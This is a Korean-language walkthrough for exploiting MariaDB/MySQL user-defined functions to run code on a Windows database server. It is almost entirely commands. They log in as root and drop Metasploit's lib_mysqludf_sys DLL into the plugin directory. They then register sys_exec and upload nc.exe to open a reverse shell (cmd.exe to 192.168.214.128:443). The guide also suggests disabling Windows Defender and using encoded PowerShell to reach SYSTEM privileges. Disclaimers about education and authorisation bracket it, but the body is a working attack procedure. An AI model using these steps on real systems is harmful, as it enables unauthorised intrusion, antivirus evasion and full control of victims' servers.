
데이터베이스 인증 코드 실행
이 가이드는 원격 서버의 MariaDB에서 사용자 정의 함수(UDF) 취약점을 악용하는 방법에 대한 상세한 지침을 제공합니다. 이 단계에는 취약한 데이터베이스 시스템에서 악성 코드를 다운로드하고 실행하는 과정이 포함됩니다.
경고: 이 문서는 교육 목적으로만 작성되었습니다. 이러한 기술을 무단으로 사용하는 것은 불법이며 비윤리적입니다.
다음 명령어를 사용하여 MySQL 서버에 연결합니다:
mysql -h 192.168.214.129 -u root -pPassw0rd!
실행 중인 MySQL의 버전을 확인하려면 다음을 실행합니다:
select @@version;
현재 로그인된 사용자를 확인하려면:
select user();
root 사용자와 관련된 모든 세부 정보를 검색합니다:
select * from mysql.user where user='root';
현재 사용자가 가지고 있는 권한을 확인합니다:
show grants;
시스템 아키텍처가 UDF에 취약한지 확인합니다:
select @@version_compile_os, @@version_compile_machine;
UDF 파일을 업로드할 수 있는 플러그인 디렉터리를 식별합니다:
select @@plugin_dir;
Metasploit의 익스플로잇 디렉터리에서 32비트 DLL을 복사합니다:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
udf.dll 파일을 base64 형식으로 인코딩합니다:
cat udf.dll | base64 | tr -d '\n' > udf.base64
udf.base64의 base64 값을 복사하여 MySQL 서버로 전송합니다:
텍스트 편집기에서 udf.base64를 엽니다:
leafpad udf.base64
MariaDB에서 다음을 실행합니다:
select from_base64("base64 값") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
필요한 경우 다음 경로를 사용할 수도 있습니다:
C:\Program Files\MariaDB 11.1\lib\plugin\
MariaDB에서 다음 명령어를 실행하여 새 함수를 생성합니다:
create function sys_exec returns int soname 'udf.dll';
참고:
sys_eval,sys_get,do_system또는sys_bineval을 사용할 수도 있습니다.into가 아닌int를 사용해야 합니다.
UDF 함수가 성공적으로 설치되었는지 확인합니다:
select * from mysql.func;
Netcat 실행 파일을 로컬 디렉터리에 복사하고 base64로 인코딩합니다:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
텍스트 편집기에서 nc.base64를 엽니다:
leafpad nc.base64
그런 다음 MySQL에서:
select from_base64("Nc.exe의 base64 값") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
또는 다음 명령어를 사용하여 직접 업로드할 수도 있습니다:
mysql -u root -p -h 192.168.214.129 < nc.base64
포트 443에서 Netcat 리스너를 켭니다:
sudo nc -nlvp 443
원격 서버에서 리버스 셸을 위해 Netcat을 실행합니다:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
참고: 이 단계는 Windows Defender나 다른 백신 소프트웨어에 의해 차단될 수 있습니다. PowerShell 인코딩된 명령어(
powershellbase64)를 사용하고 Defender를 끄는 것을 고려하세요.
Base64 인코딩을 사용하여 PowerShell 명령어를 실행합니다:
select sys_exec('powershellbase64');
참고: 많은 경우 NT AUTHORITY SYSTEM 권한을 획득할 수 있습니다.
함수 제거: 생성된 UDF 함수를 제거하려면:
drop function sys_get;
로컬 infile 확인: 로컬 쓰기가 활성화되어 있는지 확인합니다:
show variables like 'local_infile';
INSERT 권한이 있는 사용자 찾기: INSERT 권한이 있는 사용자를 식별합니다:
use mysql;
select user from user where insert_priv='Y' and Host='%';
면책 조항: 이 문서는 교육 목적 및 보안 연구 용도로만 제공됩니다. 이 정보를 오용할 경우 형사 고발 및 심각한 법적 제재를 받을 수 있습니다. 네트워크나 시스템에서 취약점을 테스트하기 전에 항상 관련 기관의 허가를 받으십시오.